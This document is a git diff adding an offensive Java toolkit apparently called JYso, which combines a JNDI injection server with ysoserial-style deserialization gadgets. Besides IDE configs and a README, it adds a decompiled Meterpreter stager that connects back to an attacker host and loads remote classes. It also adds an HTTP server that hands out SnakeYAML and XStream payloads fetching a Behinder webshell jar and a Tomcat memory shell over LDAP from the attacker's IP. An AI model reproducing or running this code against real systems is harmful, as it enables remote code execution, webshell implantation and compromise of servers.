diff --git a/.github/workflows/reademe-contributors.yml b/.github/workflows/reademe-contributors.yml new file mode 100644 index 00000000..d30cf67b --- /dev/null +++ b/.github/workflows/reademe-contributors.yml @@ -0,0 +1,14 @@ +on: + push: + branches: + - main +name: Generate a list of contributors +jobs: + contrib-readme-en-job: + runs-on: ubuntu-latest + name: A job to automate contrib in readme + steps: + - name: Contribute List + uses: akhilmhdh/contributors-readme-action@v2.3.4 + env: + GITHUB_TOKEN: ${{ secrets.CONTRIBUTORS_TOKEN }} \ No newline at end of file diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 00000000..35410cac --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# 默认忽略的文件 +/shelf/ +/workspace.xml +# 基于编辑器的 HTTP 客户端请求 +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/GrepConsole.xml b/.idea/GrepConsole.xml new file mode 100644 index 00000000..0877289d --- /dev/null +++ b/.idea/GrepConsole.xml @@ -0,0 +1,24 @@ + + + + + + \ No newline at end of file diff --git a/.idea/JNDIExploit-zh.iml b/.idea/JNDIExploit-zh.iml new file mode 100644 index 00000000..b6c9fb09 --- /dev/null +++ b/.idea/JNDIExploit-zh.iml @@ -0,0 +1,221 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/JYso-master.iml b/.idea/JYso-master.iml new file mode 100644 index 00000000..d6ebd480 --- /dev/null +++ b/.idea/JYso-master.iml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/artifacts/JNDIExploit_jar.xml b/.idea/artifacts/JNDIExploit_jar.xml new file mode 100644 index 00000000..815b21d4 --- /dev/null +++ b/.idea/artifacts/JNDIExploit_jar.xml @@ -0,0 +1,61 @@ + + + $PROJECT_DIR$/out/artifacts/JNDIExploit_jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/artifacts/JNDIExploit_war_exploded.xml b/.idea/artifacts/JNDIExploit_war_exploded.xml new file mode 100644 index 00000000..caf7b7bc --- /dev/null +++ b/.idea/artifacts/JNDIExploit_war_exploded.xml @@ -0,0 +1,13 @@ + + + $PROJECT_DIR$/out/artifacts/JNDIExploit_war_exploded + + + + + + + + + + \ No newline at end of file diff --git a/.idea/codeStyles/codeStyleConfig.xml b/.idea/codeStyles/codeStyleConfig.xml new file mode 100644 index 00000000..a55e7a17 --- /dev/null +++ b/.idea/codeStyles/codeStyleConfig.xml @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/.idea/compiler.xml b/.idea/compiler.xml new file mode 100644 index 00000000..6efb878c --- /dev/null +++ b/.idea/compiler.xml @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml new file mode 100644 index 00000000..52693b07 --- /dev/null +++ b/.idea/encodings.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml new file mode 100644 index 00000000..9df06f38 --- /dev/null +++ b/.idea/inspectionProfiles/Project_Default.xml @@ -0,0 +1,114 @@ + + + + \ No newline at end of file diff --git a/.idea/jarRepositories.xml b/.idea/jarRepositories.xml new file mode 100644 index 00000000..fa91c0ac --- /dev/null +++ b/.idea/jarRepositories.xml @@ -0,0 +1,40 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/jpa-buddy.xml b/.idea/jpa-buddy.xml new file mode 100644 index 00000000..898e07a6 --- /dev/null +++ b/.idea/jpa-buddy.xml @@ -0,0 +1,7 @@ + + + + + \ No newline at end of file diff --git a/.idea/junitgenerator-prj-settings.xml b/.idea/junitgenerator-prj-settings.xml new file mode 100644 index 00000000..f272ba11 --- /dev/null +++ b/.idea/junitgenerator-prj-settings.xml @@ -0,0 +1,7 @@ + + + + + \ No newline at end of file diff --git a/.idea/libraries/Java_EE_6_Java_EE_6.xml b/.idea/libraries/Java_EE_6_Java_EE_6.xml new file mode 100644 index 00000000..7c7eb319 --- /dev/null +++ b/.idea/libraries/Java_EE_6_Java_EE_6.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/coherence.xml b/.idea/libraries/coherence.xml new file mode 100644 index 00000000..27530728 --- /dev/null +++ b/.idea/libraries/coherence.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0.xml b/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0.xml new file mode 100644 index 00000000..2c0f582a --- /dev/null +++ b/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0__2_.xml b/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0__2_.xml new file mode 100644 index 00000000..e5675c30 --- /dev/null +++ b/.idea/libraries/com_bea_core_weblogic_web_api_1_4_0_0__2_.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client.xml b/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client.xml new file mode 100644 index 00000000..6c3e7eea --- /dev/null +++ b/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client__2_.xml b/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client__2_.xml new file mode 100644 index 00000000..b0dd55d5 --- /dev/null +++ b/.idea/libraries/com_oracle_webservices_wls_jaxrpc_client__2_.xml @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/javax_ejb.xml b/.idea/libraries/javax_ejb.xml new file mode 100644 index 00000000..ac68bd06 --- /dev/null +++ b/.idea/libraries/javax_ejb.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/javax_persistence.xml b/.idea/libraries/javax_persistence.xml new file mode 100644 index 00000000..4de4f6bd --- /dev/null +++ b/.idea/libraries/javax_persistence.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/javax_servlet_jsp.xml b/.idea/libraries/javax_servlet_jsp.xml new file mode 100644 index 00000000..8138f8d4 --- /dev/null +++ b/.idea/libraries/javax_servlet_jsp.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/javax_servlet_jsp_jstl.xml b/.idea/libraries/javax_servlet_jsp_jstl.xml new file mode 100644 index 00000000..b79500b4 --- /dev/null +++ b/.idea/libraries/javax_servlet_jsp_jstl.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/lib.xml b/.idea/libraries/lib.xml new file mode 100644 index 00000000..9f4ee149 --- /dev/null +++ b/.idea/libraries/lib.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/weblogic.xml b/.idea/libraries/weblogic.xml new file mode 100644 index 00000000..fa80f5e2 --- /dev/null +++ b/.idea/libraries/weblogic.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/weblogic__2_.xml b/.idea/libraries/weblogic__2_.xml new file mode 100644 index 00000000..be5a1b19 --- /dev/null +++ b/.idea/libraries/weblogic__2_.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/webserviceclient.xml b/.idea/libraries/webserviceclient.xml new file mode 100644 index 00000000..628e4a83 --- /dev/null +++ b/.idea/libraries/webserviceclient.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/webserviceclient__2_.xml b/.idea/libraries/webserviceclient__2_.xml new file mode 100644 index 00000000..d4b16e3d --- /dev/null +++ b/.idea/libraries/webserviceclient__2_.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/wlthint3client.xml b/.idea/libraries/wlthint3client.xml new file mode 100644 index 00000000..0799a873 --- /dev/null +++ b/.idea/libraries/wlthint3client.xml @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/wlthint3client__2_.xml b/.idea/libraries/wlthint3client__2_.xml new file mode 100644 index 00000000..c7779093 --- /dev/null +++ b/.idea/libraries/wlthint3client__2_.xml @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 00000000..bf4fed9e --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,16 @@ + + + + + + + + + + \ No newline at end of file diff --git a/.idea/qaplug_profiles.xml b/.idea/qaplug_profiles.xml new file mode 100644 index 00000000..3dfd21f3 --- /dev/null +++ b/.idea/qaplug_profiles.xml @@ -0,0 +1,465 @@ + + + + + \ No newline at end of file diff --git a/.idea/remote-targets.xml b/.idea/remote-targets.xml new file mode 100644 index 00000000..5a58f5c7 --- /dev/null +++ b/.idea/remote-targets.xml @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml new file mode 100644 index 00000000..e96534fb --- /dev/null +++ b/.idea/uiDesigner.xml @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 00000000..35eb1ddf --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 00000000..13afd799 --- /dev/null +++ b/README.md @@ -0,0 +1,41 @@ +![JYso](https://socialify.git.ci/qi4L/JYso/image?description=1&font=KoHo&forks=1&language=1&logo=https%3A%2F%2Fs11.ax1x.com%2F2024%2F01%2F14%2FpFP7Cmn.jpg&name=1&owner=1&pattern=Charlie%20Brown&stargazers=1&theme=Auto) +# ✨404StarLink 2.0 - Galaxy + +JYso is 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) One of the components, If you have any questions about JYso or want to find partners to communicate, you can refer to the way of joining the group of Starlink Project. + ++ https://github.com/knownsec/404StarLink2.0-Galaxy#community + +# 🦜Help! + +Please check out the [wiki](https://github.com/qi4L/JYso/wiki/JYso%E2%80%90EN). + +[中文文档](https://github.com/qi4L/JYso/wiki/JYso%E2%80%90CN) + +You can download the latest version of [releases](https://github.com/qi4L/JNDIExploit/releases) from here. + +# 🐲Features + +It can be either a JNDIExploit or a ysoserial. + +## Contributor + + + + +# 🤖TODO + +Is there a possibility of incorporating machine learning? + +# 📷reference project + +
+ + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder + +
\ No newline at end of file diff --git a/lib/aspectjweaver-1.9.7.jar b/lib/aspectjweaver-1.9.7.jar new file mode 100644 index 00000000..aae26900 Binary files /dev/null and b/lib/aspectjweaver-1.9.7.jar differ diff --git a/lib/coherence.jar b/lib/coherence.jar new file mode 100644 index 00000000..afd890df Binary files /dev/null and b/lib/coherence.jar differ diff --git a/lib/com.bea.core.weblogic.web.api_1.4.0.0.jar b/lib/com.bea.core.weblogic.web.api_1.4.0.0.jar new file mode 100644 index 00000000..98130dbf Binary files /dev/null and b/lib/com.bea.core.weblogic.web.api_1.4.0.0.jar differ diff --git a/lib/com.oracle.webservices.wls.jaxrpc-client.jar b/lib/com.oracle.webservices.wls.jaxrpc-client.jar new file mode 100644 index 00000000..8efddbfb Binary files /dev/null and b/lib/com.oracle.webservices.wls.jaxrpc-client.jar differ diff --git a/lib/com.springsource.javax.media.jai.core-1.1.3.jar b/lib/com.springsource.javax.media.jai.core-1.1.3.jar new file mode 100644 index 00000000..a3f33851 Binary files /dev/null and b/lib/com.springsource.javax.media.jai.core-1.1.3.jar differ diff --git a/lib/commons-beanutils-1.9.2.jar b/lib/commons-beanutils-1.9.2.jar new file mode 100644 index 00000000..7d075edf Binary files /dev/null and b/lib/commons-beanutils-1.9.2.jar differ diff --git a/lib/jackson-databind-2.15.1.jar b/lib/jackson-databind-2.15.1.jar new file mode 100644 index 00000000..44ad7ea4 Binary files /dev/null and b/lib/jackson-databind-2.15.1.jar differ diff --git a/lib/jai-core-1.1.3.jar b/lib/jai-core-1.1.3.jar new file mode 100644 index 00000000..b29b8eed Binary files /dev/null and b/lib/jai-core-1.1.3.jar differ diff --git a/lib/javassist-3.29.2-GA.jar b/lib/javassist-3.29.2-GA.jar new file mode 100644 index 00000000..68fc3010 Binary files /dev/null and b/lib/javassist-3.29.2-GA.jar differ diff --git a/lib/javax.ejb.jar b/lib/javax.ejb.jar new file mode 100644 index 00000000..4ebf5ecd Binary files /dev/null and b/lib/javax.ejb.jar differ diff --git a/lib/javax.persistence.jar b/lib/javax.persistence.jar new file mode 100644 index 00000000..21d80e0e Binary files /dev/null and b/lib/javax.persistence.jar differ diff --git a/lib/javax.servlet.jsp.jar b/lib/javax.servlet.jsp.jar new file mode 100644 index 00000000..9c0631ce Binary files /dev/null and b/lib/javax.servlet.jsp.jar differ diff --git a/lib/javax.servlet.jsp.jstl.jar b/lib/javax.servlet.jsp.jstl.jar new file mode 100644 index 00000000..7be17cc7 Binary files /dev/null and b/lib/javax.servlet.jsp.jstl.jar differ diff --git a/lib/terajdbc-20.00.00.06.jar b/lib/terajdbc-20.00.00.06.jar new file mode 100644 index 00000000..65fae8c2 Binary files /dev/null and b/lib/terajdbc-20.00.00.06.jar differ diff --git a/lib/weblogic-server.jar b/lib/weblogic-server.jar new file mode 100644 index 00000000..6c25661d Binary files /dev/null and b/lib/weblogic-server.jar differ diff --git a/lib/webserviceclient.jar b/lib/webserviceclient.jar new file mode 100644 index 00000000..5096d254 Binary files /dev/null and b/lib/webserviceclient.jar differ diff --git a/lib/wlthint3client.jar b/lib/wlthint3client.jar new file mode 100644 index 00000000..4665bc28 Binary files /dev/null and b/lib/wlthint3client.jar differ diff --git a/pom.xml b/pom.xml new file mode 100644 index 00000000..7d3c2c5c --- /dev/null +++ b/pom.xml @@ -0,0 +1,449 @@ + + + 4.0.0 + + org.example + JYso + 3.5 + + JYso + https://qi4l.co + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.0 + + 8 + 8 + + ${project.basedir}/lib + + + -XDignore.symbol.file + + true + + + + org.apache.maven.plugins + maven-install-plugin + 2.5.2 + + + coherence + clean + + ${project.basedir}/lib/coherence.jar + default + coherence + coherence + 1.0 + jar + true + + + install-file + + + + + + + maven-assembly-plugin + + + false + + jar-with-dependencies + + + + com.qi4l.jndi.Starter + + + + + + make-assembly + package + + single + + + + + + + + + true + UTF-8 + 1.6 + 1.6 + 5.2.3.RELEASE + ${project.basedir}/lib + + + + + io.projectreactor + reactor-core + 3.4.26 + + + com.ibm.websphere.appserver.api + com.ibm.websphere.appserver.api.wsoc + 1.0.10 + + + + + + org.glassfish.tyrus + tyrus-server + 2.0.0 + + + + + + javax.media.jai + jai-core + 1.1.3 + + + + + org.javassist + javassist + 3.29.2-GA + + + + com.oracle.weblogic + weblogic-server + 1.0 + + + xerces + xercesImpl + 2.12.0 + + + + org.aspectj + aspectjweaver + 1.9.7 + runtime + + + + com.fasterxml.jackson.core + jackson-databind + 2.11.3 + + + com.teradata.jdbc + terajdbc + 20.00.00.06 + + + jboss + jboss-serialization + 4.2.2.GA + + + org.apache.wicket + wicket-util + 6.23.0 + + + com.vaadin + vaadin-server + 7.7.14 + + + org.apache.myfaces.core + myfaces-impl + 2.2.9 + + + rhino + js + 1.7R2 + + + rome + rome + 1.0 + + + com.alibaba + fastjson + 1.2.48 + + + com.alibaba.fastjson2 + fastjson2 + 2.0.26 + + + org.apache.tomcat + tomcat-websocket + 9.0.62 + provided + + + org.jboss.weld + weld-core + 1.1.33.Final + + + org.jboss.interceptor + jboss-interceptor-core + 2.0.0.Final + + + org.jboss.interceptor + jboss-interceptor-spi + 2.0.0.Final + + + net.sf.json-lib + json-lib + jdk15 + 2.4 + + + org.python + jython-standalone + 2.5.2 + + + org.hibernate + hibernate-core + 4.3.11.Final + + + org.fusesource.jansi + jansi + 2.4.0 + + + commons-cli + commons-cli + 1.5.0 + + + org.apache.commons + commons-lang3 + 3.12.0 + + + org.apache.logging.log4j + log4j-core + 2.14.1 + + + org.springframework + spring-core + ${spring.version} + + + org.springframework + spring-beans + ${spring.version} + + + org.springframework + spring-web + ${spring.version} + + + org.springframework + spring-oxm + ${spring.version} + + + org.springframework + spring-tx + ${spring.version} + + + + + + + + org.springframework + spring-jdbc + ${spring.version} + + + org.springframework + spring-webmvc + ${spring.version} + + + org.springframework + spring-aop + ${spring.version} + + + org.springframework + spring-context-support + ${spring.version} + + + org.springframework + spring-test + ${spring.version} + + + junit + junit + 4.11 + test + + + + javax.servlet + javax.servlet-api + 4.0.1 + + + + com.mchange + c3p0 + 0.9.5.5 + + + + commons-collections + commons-collections + 3.2.1 + + + + org.apache.commons + commons-collections4 + 4.0 + + + + org.apache.tomcat.embed + tomcat-embed-core + 8.5.58 + + + org.ow2.asm + asm + 8.0.1 + + + com.unboundid + unboundid-ldapsdk + 4.0.9 + + + com.nqzero + permit-reflect + 0.3 + + + + net.jodah + expiringmap + 0.5.9 + + + org.reflections + reflections + 0.9.10 + + + org.beanshell + bsh + 2.0b5 + + + + io.undertow + undertow-core + 2.2.2.Final + + + + io.undertow + undertow-servlet + 2.2.2.Final + + + + org.jboss.spec.javax.security.jacc + jboss-jacc-api_1.4_spec + 1.0.3.Final + + + + com.beust + jcommander + 1.78 + + + org.codehaus.groovy + groovy + 2.4.5 + + + org.apache.commons + commons-text + 1.8 + + + org.eclipse.jetty + jetty-ant + 11.0.7 + + + org.apache.maven.plugins + maven-assembly-plugin + 3.0.0 + + + org.apache.click + click-nodeps + 2.3.0 + + + org.clojure + clojure + 1.8.0 + + + cn.hutool + hutool-all + 5.7.7 + + + commons-beanutils + commons-beanutils + 1.9.2 + + + javax.websocket + javax.websocket-api + 1.1 + + + com.caucho + resin + 4.0.65 + + + \ No newline at end of file diff --git a/src/main/java/Meterpreter.java b/src/main/java/Meterpreter.java new file mode 100644 index 00000000..8ce9c66c --- /dev/null +++ b/src/main/java/Meterpreter.java @@ -0,0 +1,148 @@ +/* + * Decompiled with CFR 0.152. + */ + +import java.io.DataInputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; + +public class Meterpreter +extends ClassLoader +implements Runnable { + private HashMap parameterMap; + + public String host; + public String port; + static /* synthetic */ Class class$0; + static /* synthetic */ Class class$1; + static /* synthetic */ Class class$2; + + public void initLhost() { + this.host = ""; + this.port = ""; + } + + + + + public String toString() { + if (this.host != null && this.port != null) { + Thread thread = new Thread(this); + thread.start(); + this.parameterMap.put("result", "ok".getBytes()); + } else { + this.parameterMap.put("result", "host or port is null".getBytes()); + } + this.parameterMap = null; + return ""; + } + + public boolean equals(Object paramObject) { + try { + this.parameterMap = (HashMap)paramObject; + this.host = this.get("host"); + this.port = this.get("port"); + } + catch (Exception e) { + return false; + } + return true; + } + + public void getShell() throws Exception { + InputStream inputStream1 = null; + OutputStream outputStream = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; + if (str4 != null) { + socket = new Socket(str4, j); + } + inputStream1 = socket.getInputStream(); + outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); + } + + private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + try { + Class clazz; + DataInputStream dataInputStream = new DataInputStream(paramInputStream); + int i = dataInputStream.readInt(); + do { + byte[] arrayOfByte = new byte[i]; + dataInputStream.readFully(arrayOfByte); + clazz = this.defineClass(null, arrayOfByte, 0, i); + this.resolveClass(clazz); + } while ((i = dataInputStream.readInt()) > 0); + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; + if (clazz2 == null) { + try { + clazz2 = class$0 = Class.forName("java.io.DataInputStream"); + } + catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[0] = clazz2; + Class clazz3 = class$1; + if (clazz3 == null) { + try { + clazz3 = class$1 = Class.forName("java.io.OutputStream"); + } + catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[1] = clazz3; + Class clazz4 = class$2; + if (clazz4 == null) { + try { + clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); + } + catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[2] = clazz4; + clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + } + catch (Throwable throwable) { + // empty catch block + } + } + + public static void main(String[] args) { + Meterpreter meterpreter =new Meterpreter(); + meterpreter.run(); + } + + static { + + Meterpreter meterpreter =new Meterpreter(); + meterpreter.initLhost(); + meterpreter.run(); + } + + public void run() { + try { + this.getShell(); + } + catch (Exception exception) { + System.out.println(exception); + // empty catch block + } + } + + public String get(String key) { + try { + return new String((byte[])this.parameterMap.get(key)); + } + catch (Exception e) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/HTTPServer.java b/src/main/java/com/qi4l/jndi/HTTPServer.java new file mode 100644 index 00000000..47097be8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/HTTPServer.java @@ -0,0 +1,602 @@ +package com.qi4l.jndi; + +import cn.hutool.core.io.file.FileReader; +import com.qi4l.jndi.template.CommandTemplate; +import com.qi4l.jndi.template.DnslogTemplate; +import com.qi4l.jndi.template.ReverseShellTemplate; +import com.qi4l.jndi.gadgets.utils.Cache; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Util; +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; +import com.sun.net.httpserver.HttpServer; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.lang3.reflect.FieldUtils; + +import java.io.*; +import java.net.InetSocketAddress; +import java.nio.charset.StandardCharsets; +import java.util.*; +import java.util.jar.JarOutputStream; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.zip.ZipEntry; + +import static org.fusesource.jansi.Ansi.ansi; + +public class HTTPServer { + //获取根目录路径 + public static String cwd = System.getProperty("user.dir"); + + public static void start() throws IOException { + + HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); + httpServer.createContext("/", new HttpHandler() { + @Override + public void handle(HttpExchange httpExchange) { + try { + System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); + + String qi = String.valueOf(httpExchange.getRequestURI()); + if (qi.contains("setPathAlias")) { + Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); + } else if (qi.contains("setRoute")) { + Config.ROUTE = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); + } + String path = httpExchange.getRequestURI().getPath(); + if (path.endsWith(".class")) { + handleClassRequest(httpExchange); + } else if (path.endsWith(".wsdl")) { + handleWSDLRequest(httpExchange); + } else if (path.endsWith(".jar")) { + handleJarRequest(httpExchange); + } else if (path.startsWith("/xxelog")) { + handleXXELogRequest(httpExchange); + } else if (path.endsWith(".sql")) { + handleSQLRequest(httpExchange); + } else if (path.endsWith(".groovy")) { + handlerGroovyRequest(httpExchange); + } else if (path.endsWith(".xml")) { + handleXMLRequest(httpExchange); + } else if (path.endsWith(".txt")) { + handleTXTRequest(httpExchange); + } else if (path.endsWith(".yml")) { + handleYmlRequest(httpExchange); + } else { + handleFileRequest(httpExchange); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + }); + + httpServer.setExecutor(null); + httpServer.start(); + System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "...")); + } + + private static void handleFileRequest(HttpExchange exchange) throws Exception { + String path = exchange.getRequestURI().getPath(); + String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); + File file = new File(filename); + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + FileInputStream fileInputStream = new FileInputStream(file); + fileInputStream.read(bytes); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + + } + + private static void handleYmlRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); +// String host = exchange.getRequestURI().getHost(); + String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + String bytes = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" + + " ]]\n" + + "]\n"; + + if (YamlName.equalsIgnoreCase("snake")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); +// exchange.sendResponseHeaders(200, yaml.getObject().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); +// exchange.getResponseBody().write(yaml.getObject("UTF-8")); + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + YamlName + ".yml"); + if (file.exists()) { + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + } + + public static void handleTXTRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + if (txtname.equalsIgnoreCase("isok")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + byte[] bytes = "success!".getBytes(); + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + txtname + ".txt"); + + if (file.exists()) { + + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: @|" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + public static void handleXMLRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); +// String host = exchange.getRequestURI().getHost(); + String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + String bytes = "\n \n"; + String xstream = "\n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " false\n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1008\n" + + " true\n" + + " 1000\n" + + " 0\n" + + " 2\n" + + " 0\n" + + " 0\n" + + " 0\n" + + " true\n" + + " 1004\n" + + " false\n" + + " ldap://" + Config.ip + ":1389/basic/TomcatMemShell3\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " com.sun.rowset.JdbcRowSetImpl\n" + + " getDatabaseMetaData\n" + + " \n" + + " \n" + + " foo\n" + + " \n" + + " foo\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " false\n" + + " 0\n" + + " 0\n" + + " false\n" + + " \n" + + " false\n" + + " \n" + + " \n" + + " \n" + + " 0\n" 